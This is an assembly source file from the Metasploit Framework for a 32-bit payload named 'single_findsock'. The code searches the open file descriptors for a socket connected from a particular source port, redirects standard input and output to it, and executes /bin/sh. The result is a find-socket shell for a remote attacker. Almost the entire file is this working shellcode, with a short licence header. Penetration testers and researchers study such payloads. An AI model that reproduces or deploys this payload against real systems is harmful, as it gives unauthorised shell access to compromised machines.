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;
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;
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;        Name: single_findsock
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;   Qualities: Nothing Special
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;     Authors: vlad902 <vlad902 [at] gmail.com>
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;     Version: $Revision: 1846 $
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;     License:
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;
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;        This file is part of the Metasploit Exploit Framework
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;        and is subject to the same licenses and copyrights as
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;        the rest of this package.
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;
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; Description:
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;
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;	This payload redirects /bin/sh to a socket connected from a 
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;	certain source port.
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;
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;;
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BITS 32
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section .text
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global main
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main:
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  xor	edi, edi
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  push	edi
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  mov	ebp, esp
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getpeername_loop:
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; 32-bit is okay since the connection should be established already.
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  inc	edi
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  mov	esp, ebp
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  push	byte 0x10
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  push	esp
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  push	ebp
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  push	edi
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  push	byte 0x1f 
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  pop	eax
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  push	byte 0x02
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  int	0x80
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  cmp	word [ebp + 2], 0x5c11
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  jne	getpeername_loop
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  pop	ecx
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dup2_loop:
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  push	ecx
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  push	edi
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  push	byte 0x5a 
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  pop	eax
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  push	ecx
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  int	0x80
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  dec	ecx
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  jns	dup2_loop
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  push	0x68732f2f
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  push	0x6e69622f 
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  mov	ebx, esp
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  push	eax
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  push	esp
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  push	ebx
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  mov	al, 0x3b
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  push	eax
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  int	0x80
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